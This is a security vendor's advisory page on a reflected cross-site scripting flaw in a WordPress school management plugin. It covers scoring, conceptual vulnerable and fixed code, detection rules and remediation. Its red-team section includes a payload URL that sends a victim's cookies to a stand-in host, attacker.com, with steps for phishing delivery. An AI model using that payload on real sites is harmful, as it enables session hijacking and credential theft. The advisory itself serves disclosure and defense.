CVE-2024-12611
Executive Summary
CVE-2024-12611 is a Reflected Cross-Site Scripting (XSS) vulnerability in the School Management System for WordPress plugin, affecting all versions up to and including 93.0.0. The flaw resides in the title parameter, which is insufficiently sanitized and escaped, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to potential session hijacking, credential theft, or defacement within the WordPress context. The EPSS score is 0.0%, indicating low active exploitation, but the lack of a known patch elevates the risk for unmaintained installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been reported, but the absence of a patch means site administrators must manually apply mitigations or remove the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated.
- User Interaction (UI): Required (R) – Victim must click a link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification possible.
- Availability (A): None (N) – No direct DoS.
Threat Level: Medium (CVSS 5.3). Exploitation is straightforward but requires user interaction. The lack of a patch increases long-term risk.
Deep Dive & Mechanics
The vulnerability is a classic Reflected XSS in the WordPress plugin's handling of the title GET parameter. The plugin likely echoes this parameter directly into the HTML response without proper sanitization (e.g., esc_html()) or output escaping (e.g., wp_kses()). An attacker can craft a URL like:
https://victim-site.com/wp-admin/admin.php?page=school-management&title=<script>alert('XSS')</script>
When an authenticated administrator or user clicks this link, the injected script executes in their browser context, potentially stealing cookies, performing actions on their behalf, or redirecting to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
$title = $_GET['title'];
echo "<h1>$title</h1>";
Patched Code (Conceptual):
$title = sanitize_text_field($_GET['title']);
echo "<h1>" . esc_html($title) . "</h1>";
The patch would use WordPress's built-in esc_html() function to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy a WordPress instance with the vulnerable plugin (version ≤ 93.0.0).
- Craft Payload: Use a URL with a malicious
titleparameter:http://target/wp-admin/admin.php?page=school-management&title=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Deliver: Send the link via phishing email or social engineering.
- Capture: Set up a listener on
attacker.comto receive stolen cookies.
Blue Team (Detection & Response)
- Monitor HTTP logs for unusual
titleparameter values containing<script>,onerror=, orjavascript:. - Deploy WAF rules to block reflected XSS patterns in query strings.
- Educate users to avoid clicking suspicious links, especially those containing
wp-adminpaths.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin.phpwithpage=school-managementandtitleparameter containing HTML/JavaScript. - Logs: Access logs showing
title=<script>ortitle=onerror=patterns. - Endpoint: Presence of the plugin directory
/wp-content/plugins/school-management-system/(version ≤ 93.0.0).
Detection Engineering
YARA Rule
rule CVE_2024_12611_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against School Management System plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-12611"
strings:
$xss1 = /title=<script[^>]*>/
$xss2 = /title=.*onerror\s*=\s*[^&]*/
$xss3 = /title=.*javascript\s*:\s*/
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt - School Management System Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts via title parameter in School Management System plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- 'page=school-management'
- 'title=<script'
- 'title=onerror='
- 'title=javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in title (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12611 Reflected XSS in School Management System"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=school-management"; http_uri; pcre:"/title=(<script|onerror=|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or remove the School Management System plugin until a patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing
title=<scriptor similar patterns. - Long-term: Monitor the plugin's official page for updates. If no patch appears, consider migrating to an alternative solution.
- User Training: Educate administrators and users about phishing risks and the dangers of clicking unsolicited links.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.